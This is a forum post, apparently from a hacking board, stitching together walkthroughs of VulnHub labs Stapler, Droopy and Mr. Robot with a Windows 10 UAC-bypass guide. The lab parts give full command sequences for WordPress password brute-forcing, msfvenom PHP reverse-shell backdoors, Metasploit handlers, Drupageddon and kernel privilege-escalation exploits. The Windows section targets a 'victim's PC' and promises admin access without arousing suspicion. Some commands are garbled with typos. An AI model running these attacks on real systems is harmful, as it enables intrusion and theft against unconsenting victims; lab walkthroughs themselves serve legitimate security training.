Login

**NINZA** · 04-24-2020, 03:02 PM

0			0

In this article, we will try to attack and gain root access to the Stapler: 1 challenge from VulnHub. The goal is to reconnaissance, enumeration, and exploits this vulnerable machine to get root access and to read the contents of flag.txt. We have been told that are various methods to do so but we have tried and found the simplest way.
Download the stapler VM from

[To see content please register here]

Penetrating Methodology:

Network Scanning (Nmap, netdiscover)
Enumeration (robot.txt)
WordPress scanning & password cracking (wpscan)
Login into WordPress
Generate PHP Backdoor (Msfvenom)
Upload and execute a backdoor
Reverse connection (Metasploit)
Import python one-liner for proper TTY shell
Kernel privilege escalation
Get Root access and capture the flag.

Start off with scanning the network to find our target. And we all the command for it is:
netdiscover
1
netdiscover
We found our target –> 192.168.1.126
[Image: 1.png?w=687&ssl=1]

To scan our target IP we will use aggressive scan (-A)
nmap -p- -A 192.168.1.126
1
nmap -p- -A 192.168.1.126
[Image: 2.png?w=687&ssl=1]

The result will show us that port number 21, 22, 53, 80, 137, 139, and so many other ports are open.
[Image: 3.1.png?w=687&ssl=1]

Also tell us about robot.txt 2 disallowed entries i.e. /admin112233 and /blogblog. Then we explored target IP over port 80 but didn’t found anything here.
[Image: 3.png?w=687&ssl=1]

So we tried opening it in the browser with port 12380
[Image: 4.png?w=687&ssl=1]

We open /blogblog/ but here also didn’t find any clue for the next step.
[Image: 5.png?w=687&ssl=1]

Then we thought to explore

[To see content please register here]

which put up a new web page as shown below. Studying this blog we have established that the blog is made of Word Press. Now obviously use WPScan to know all about the blog.
[Image: 6.png?w=687&ssl=1]

To apply wpscan we have come up with a 3-in-1 command as it will tell us all about the theme and plug-ins as well as usernames and the command is:
wpscan -u

[To see content please register here]

--enumerate at --enumerate ap --enumerate u --disable-tls-checks
1
wpscan -u

[To see content please register here]

--enumerate at --enumerate ap --enumerate u --disable-tls-checks
[Image: 7.png?w=687&ssl=1]

It has dumped all username for login, now we only need a password for login into WordPress.
[Image: 8.png?w=687&ssl=1]

By executing below command you will get a password for John.
wpscan -u

[To see content please register here]

--username John --wordlist /usr/share/wordlists/rockyou.txt
1
wpscan -u

[To see content please register here]

--username John --wordlist /usr/share/wordlists/rockyou.txt
As you can see the password is “incorrect” for user “john”; now use these credential for login into WordPress.
[Image: 9.png?w=687&ssl=1]

As we logged in, all now we have to do is to create our PHP code to upload so that once the code will execute we will have its session. To generate the code type:
msfvenom -p php/meterpreter/reverse_tcp lhost-192.168.1.132 lport=4444 -f raw
1
msfvenom -p php/meterpreter/reverse_tcp lhost-192.168.1.132 lport=4444 -f raw
On the other hand run multi/handler inside Metasploit framework.
[Image: 18.png?w=687&ssl=1]

Copy the code from <?php to die() and save it in a file with .php extension.
Now, as we already logged on, go to plugins option then select add plugin option. Click on browse option and select the PHP in which you have just saved the code and click on OK.
[Image: 19.png?w=687&ssl=1]

Now go to the upload directory and double click on the shell.php which you just uploaded.
[Image: 20.png?w=687&ssl=1]

Meanwhile, return to the Metasploit terminal and wait for the meterpreter session by exploiting multi handler.
msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.132
msf exploit(multi/handler) set lport 4444
msf exploit(multi/handler) exploit
1
2
3
4
5
msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.132
msf exploit(multi/handler) set lport 4444
msf exploit(multi/handler) exploit
From given below image you can observe Meterpreter session 1. But the task is not finished yet, still, we need to penetrate more for privilege escalation. Further type:
sysinfo
Then to access proper TTY shell we had import python one line script by typing following:
shell
python -c 'import pty;pty.spawn("/bin/bash")'
lsb_release -a
1
2
3
shell
python -c 'import pty;pty.spawn("/bin/bash")'
lsb_release -a
[Image: 21.png?w=687&ssl=1]

We now know that our target is using Ubuntu 16.04 so we will try and search its exploit on exploit-db.com. Our search is successful and we have found our appropriate exploit as shown below:
[Image: 22.png?w=687&ssl=1]

Now, we need to go into the desired writable file and for that type:
cd /tmp
1
cd /tmp
And then to download the exploit type:
wget

[To see content please register here]

1
wget

[To see content please register here]

When we download the exploit, zip files are downloaded and now unzip it and for that type:
unzip 39772.zip
1
unzip 39772.zip
Open the unzipped file by typing:
ls
cd 39772
1
2
ls
cd 39772
Now we have a tar file named exploit.tar. Open it with the following command:
tar -xvf exploit.tar
1
tar -xvf exploit.tar
[Image: 24.png?w=687&ssl=1]

Now use the ls command to view the directories. Now we will go into the double put-exploit folder and for that type:
cd ebpf_mapfd_doubleput_exploit
ls
./compile.sh (will run the compile.sh)
./doubleput (will run the double.sh)
1
2
3
4
cd ebpf_mapfd_doubleput_exploit
ls
./compile.sh (will run the compile.sh)
./doubleput (will run the double.sh)
[Image: 25.png?w=687&ssl=1]

cd /root
ls
cat flag.txt
1
2
3
cd /root
ls
cat flag.txt
Note: This lab can be solved in multiple ways because there is more than one method to hack this lab.
[Image: 26.png?w=687&ssl=1]

Welcome to another boot2root CTF Challenge “Droopy:” uploaded by knightmare on vulnhub. As, there is a theme, and you will need to snag the flag in order to complete the challenge and you can download it from

[To see content please register here]

Penetrating Methodologies:

Network Scanning (Netdiscover, Nmap)
Identifies Drupal CMS
Exploiting Drupal CMs (Metasploit)
Privilege Escalation with Kernel Exploit
Uploading and Downloading dave.tc from /www/html
Generate a Dictionary with the help of rockyou.txt
Brute Force attack on Truecrypt Volume (Truecrack)
Decrypting File (Veracrypt)
Capture the Flag

Walkthrough
Let us start by scanning the network so that we can know the IP of our target. And to scan the network types the following:
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

So by using the above command, we know our target IP is 192.168.1.102. Now that we know our target IP, let’s study it more by using nmap :
nmap -p- -A 192.168.1.102
1
nmap -p- -A 192.168.1.102
[Image: 2.png?w=687&ssl=1]

By using nmap we find that port no. 80 is the only one that is opened. So, therefore, lets fire up the IP in the browser.
[Image: 3.png?w=687&ssl=1]

By studying the webpage we get to know that the website has been made in Drupal CMS. And we all know that there is a very effective exploit for it in Metasploit and to use that type :
use exploit/multi/http/drupal_drupageddon
set rhost 192.168.1.102
exploit
1
2
3
use exploit/multi/http/drupal_drupageddon
set rhost 192.168.1.102
exploit
[Image: 4.png?w=687&ssl=1]

By executing the sysinfo command, we have enumerated the version of kernel ” 3.13.0″ installed in the victim’s machine. then we look its exploit for privilege escalation with help of the following command.
searchsploit 3.13.0
1
searchsploit 3.13.0
Luckily we found an exploit “overlayfs local Privilege” at path /usr/share/exploitdb/exploits/Linux/local/37292.c and even you can copy this file on the desktop.
[Image: 5.png?w=687&ssl=1]

Go to the /tmp folder by typing cd /tmp and upload the exploit there by typing :
upload /root/Desktop/37292.c
1
upload /root/Desktop/37292.c
Once the exploit is uploaded, go to the shell by simply giving shell command. And then type :
python -c 'import pty;pty.spawn("/bin/bash")'
1
python -c 'import pty;pty.spawn("/bin/bash")'
And then type the following command to compile the exploit :
gcc 37292.c -o shell
1
gcc 37292.c -o shell
once the exploit is compiled give the permissions to shell :
chmod 777 shell
1
chmod 777 shell
And then run the ./shell command for your exploit to work. This is the exploit for privilege escalation so when this exploit runs, you will have your privilege to the VM.
After this check, you id by simply typing id. It shows that you are the root. So let’s jump to the folder root by typing cd /root and then type ls to check the file inside the root folder. And here we have one file in the root. Let’s copy it to var/www/html so we can open the file in the browser :
cp dave.tc /var/www/html
1
cp dave.tc /var/www/html
[Image: 6.png?w=687&ssl=1]

Now, let’s open the file in the browser by typing :
192.168.1.102/dave.tc
1
192.168.1.102/dave.tc
[Image: 8.png?w=687&ssl=1]

And then we will go into the /var by typing cd /var and then type ls to view its content. Now, let’s go into the mail by typing cd mail and then ls to view its content. And the type cat www-data to read whatever’s inside it.
[Image: 11.png?w=687&ssl=1]

In www-data we find a mail. This mail gives us two hints about the password that we need i.e. we will find our password in the rockyou wordlist and password contain prefix or suffix “academy”. So we will take all the words from rockyou wordlist that has an academy in it and make a different wordlist with all the possible passwords. And for this type :
cat rockyou.txt | grep academy > /root/Desktop/dict.txt
1
cat rockyou.txt | grep academy > /root/Desktop/dict.txt
[Image: 15.png?w=687&ssl=1]

Now from the wordlist, that we just created, we will apply a dictionary attack to have our password. And so for this type :
truecrack --truecrypt /root/Downloads/dave.tc -k SHA512 -w /root/Desktop/dict.txt
1
truecrack --truecrypt /root/Downloads/dave.tc -k SHA512 -w /root/Desktop/dict.txt
[Image: 16.png?w=687&ssl=1]

Now using veracrypt we can decrypt the file.
[Image: 18.png?w=687&ssl=1]

To decrypt the file enter the password that we just found.
[Image: 19.png?w=687&ssl=1]

Once it opens you can see all of its content.
[Image: 20.png?w=687&ssl=1]

Following are the folders you will find in it.
[Image: 21.png?w=687&ssl=1]

Open its path in the terminal of kali and type ls -la to view the files. Open secret by typing cd .secret and the type ls -la to see its content. And then open .top by typing cd .top and then type ls -la to see all the files in it. There you will find flag.txt, type cat flag.txt to view the flag.
[Image: 22.png?w=687&ssl=1]

And yippee!!! We found our flag. ?

Microsoft is increasing its security with the evolution of their windows. And with that it is getting more and more difficult to hack them. It is often said “where there is will; there is a way”, threfore thankfully it is not impossible to do so. Once you have hacked into WIndows 10 PC then it is difficult to gain it administrator access without getting your victim suspicious. Therefore, we present you a new way to do so.

Move along with following steps and you will learn how to gain administrator access of windows 10 PC without the Victim’s suspicion.

First of all, to learn to how to hack victim’s PC click

[To see content please register here]

.

After hacking when you have gained a meterpreter session then type :

getsystem

using this command you will confirm the fact that you have not entered the administrator yet. So now, there is no need to worry. Just download this Tpinit file from –>

[To see content please register here]

And now upload the said file into victim’s PC by typing :

upload /root/Desktop/TpmIniyUACBypass.exe d:\\

Here,

upload –> is use to upload a file

/root/Desktop/TpmIniyUACBypass.exe –> is the path of the file that is to be uploaded

d:\\ –> is location of where the file will be uploaded in victim’s PC

As the file is uploaded, open metasploit simultaneously and type :
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 102.168.0.106
set lport 443
exploit
[Image: 2.png?w=687&ssl=1]

Once this exploit is executed. go to the meterpreter session that you previously had and type :

shell

Typing shell will take you to the shell of the PC. Now further type :

d: (This command will take into the D Drive of victim’s PC i.e where you upload your file)

TpmInitUACBypass.exe 192.168.0.106 msf (This command will execute your uploaded file)

As the command will make our file execute we will have a session with administrator privileges as shown

This way it is quite easy to bypass administrator access in windows 10. Thus, nothing is impossible in hacking.

This is our another article of root2boot penetration testing challenge. We will walk through an exploitable framework Mr. Robot. It is based on the TV show, Mr. Robot, it has three keys hidden in different locations. The main goal is to find all three tokens hidden in the system. Each key is progressively difficult to find. Breaking into it isn’t too difficult. There isn’t any advanced exploitation or reverse engineering. The level is considered beginner-intermediate.

First Download the Mr. Robot Lab from

[To see content please register here]

Penetrating Methodology:

Network Scanning (Nmap, netdiscover)
Recon (Nikto)
Use robot.txt
Grab 1st key
Download fsocity.dic file and use a dictionary
WordPress password cracking (wpscan)
Login into WordPress
Generate PHP Backdoor (Msfvenom)
Upload and execute a backdoor
Reverse connection (Metasploit)
Get MD5 hash and decrypt it
Import python one-liner for proper TTY shell
Find / perm u=s for Privilege Escalation
Get Root access and capture the flag.

First of all, we have to find its IP address and for that go to the terminal of your Kali and type :
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

Upon the execution of the above command, we will know about all the IP addresses in our network. Our target IP is 192.168.1.103, let us scan it.
To scan our target IP we will use aggressive scan (-A)
nmap -p- -A 192.168.1.103
1
nmap -p- -A 192.168.1.103
[Image: 2.png?w=687&ssl=1]

The scan’s result shows us the open ports are: 22, 80, and 443. As the 80 port is open we can try and open this IP in our browser.
[Image: 3.png?w=687&ssl=1]

And yes, it opens which further confirms our target.
Next, we will apply the Nikto command to it. Nitko command will help us to gather information like its files and all the other major stuff that we ought to know about our target. So, therefore, type:
nitko -h 192.168.1.103
1
nitko -h 192.168.1.103
[Image: 4.png?w=687&ssl=1]

From the result, we can gather that there a text file with the name of robots.txt which might provide us with some further information. Moreover, it also tells us that the WordPress installation was found.
So now let us try to open robots.txt in the browser. Yesssssssss!! It gave something to us let open each file one-by-one.
[Image: 5.png?w=687&ssl=1]

Excellent!!! Inside key-1-of-3.txt we found our 1st key.
[Image: 6.png?w=687&ssl=1]

Now open fsocity.dic file in the browser which is a dictionary file. Let us first try and open this dictionary file the browser. Once we open the said dictionary file in the browser, it asks us to download it. Going ahead we downloaded and opened it. It is a file which may contain username or passwords.
[Image: 7.png?w=687&ssl=1]

So now we know that we might have username or passwords, we will try and login into our target. One by one we have tried every username and it has given the error that the username doesn’t exist. But when we used the name elliot it gave us the error that the password is empty.
With this, we know one thing for sure that elliot is a correct username and now we just have to find a password for it.
[Image: 8.png?w=687&ssl=1]

Our best guess to find the password the same dictionary file from which we found the username. Thus, moving forward we will use WPScan to find our password from the same file.
wpscan -u

[To see content please register here]

--username Elliot --wordlist /root/Desktop/fsocity.dic
1
wpscan -u

[To see content please register here]

--username Elliot --wordlist /root/Desktop/fsocity.dic
When the execution is completed (which may time much time as in our case it took almost 4 hours) you will have the password for the username elliot which is
ER28-0652
1
ER28-0652
[Image: 9.png?w=687&ssl=1]

Using the password, login into the WordPress and open 404 templates to add a new theme.
[Image: 10.png?w=687&ssl=1]

Once you have logged in, make the malicious file that you got to upload in it. Generate code through the msfvenom command:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.108 lport=4444 -f raw
1
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.108 lport=4444 -f raw
On the other hand run multi/handler inside Metasploit framework.
[Image: 11.png?w=687&ssl=1]

Copy the code from <?php to die(); and paste it on template(and save it)
Now you have access to a WordPress admin console is to replace one of the theme templates with some PHP of your own. I decided to try for a reverse shell by editing the 404.php theme and replacing the contents with the msfvenom generated shell.
Once the php code is saved, then, open the path of the template in the browser as shown: Browsing to

[To see content please register here]

1

[To see content please register here]

Meanwhile, return to the Metasploit terminal and wait for the meterpreter session by exploiting multi handler.
msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.108
msf exploit(multi/handler) set lport 4444
msf exploit(multi/handler) exploit
1
2
3
4
5
msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.108
msf exploit(multi/handler) set lport 4444
msf exploit(multi/handler) exploit
From given below image you can observe meterpreter session 1. But the task is not finished yet, still, we need to penetrate more for privilege escalation.
cd home
ls
1
2
cd home
ls
Now, to know the information about the robot folder/file we will type:
We now know that there are two important files, one of them is a text file other is a password in the form of MD5. If we try to open the text file by typing:
cat key-2-of-3.txt
1
cat key-2-of-3.txt
It will not open as we do not have the permission to do so. But now let us try and open the MD5 file and for that type:
cat password.raw-md5
1
cat password.raw-md5
Executing the above command will give an MD5 value (hash value) of the password as you can see below:
[Image: 13.png?w=687&ssl=1]

We will use md5 online decrypting tool for cracking this MD5 value. Enter the MD5 value into the hash box and obtain the result. The value will translate to abcdefghijklmnopqrstuvwxyz as shown below.
[Image: 14.png?w=687&ssl=1]

Then to access proper TTY shell we had import python one line script by typing following:
shell
python -c 'import pty;pty.spawn("/bin/bash")'
1
2
shell
python -c 'import pty;pty.spawn("/bin/bash")'
Now in the terminal try to switch the user to the robot by the command:
su robot
1
su robot
Following the command, it will ask you for the password. Enter the MD5 cracked password here and you will enter the robot user and gain its information type:
ls
1
ls
Now, try to open the remaining text file by typing:
cat key-2-of-3.txt
1
cat key-2-of-3.txt
Here I will read the second key file
[Image: 15.png?w=687&ssl=1]

Now let’s find out all those files having root privilege by using the following command.
find / -perm -u=s -type f 2>/dev/null
1
find / -perm -u=s -type f 2>/dev/null
It has shown so many binary files but I was interested in nmap from its output result.
[Image: 16.png?w=687&ssl=1]

Nmap supported an option called “interactive.” With this option, users were able to execute shell commands by using a nmap “shell” (interactive shell).
Next type the following:
nmap --interactive
1
nmap --interactive
With the above commands you will enter nmap then type:
!sh
id
cd /root
ls -lsa
cat key-3-of-3.txt
1
2
3
4
5
!sh
id
cd /root
ls -lsa
cat key-3-of-3.txt
And upon the execution of we will obtain 3 of 3 keys, hence entering Mr. Robot. There are many ways to perform the above but this method is the easiest. We hope you find it effective and interesting and it helps you to improve.
[Image: 17.png?w=687&ssl=1]

Login
Username: Password: Lost Password? Remember me
Or Register an account

Announcement : For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis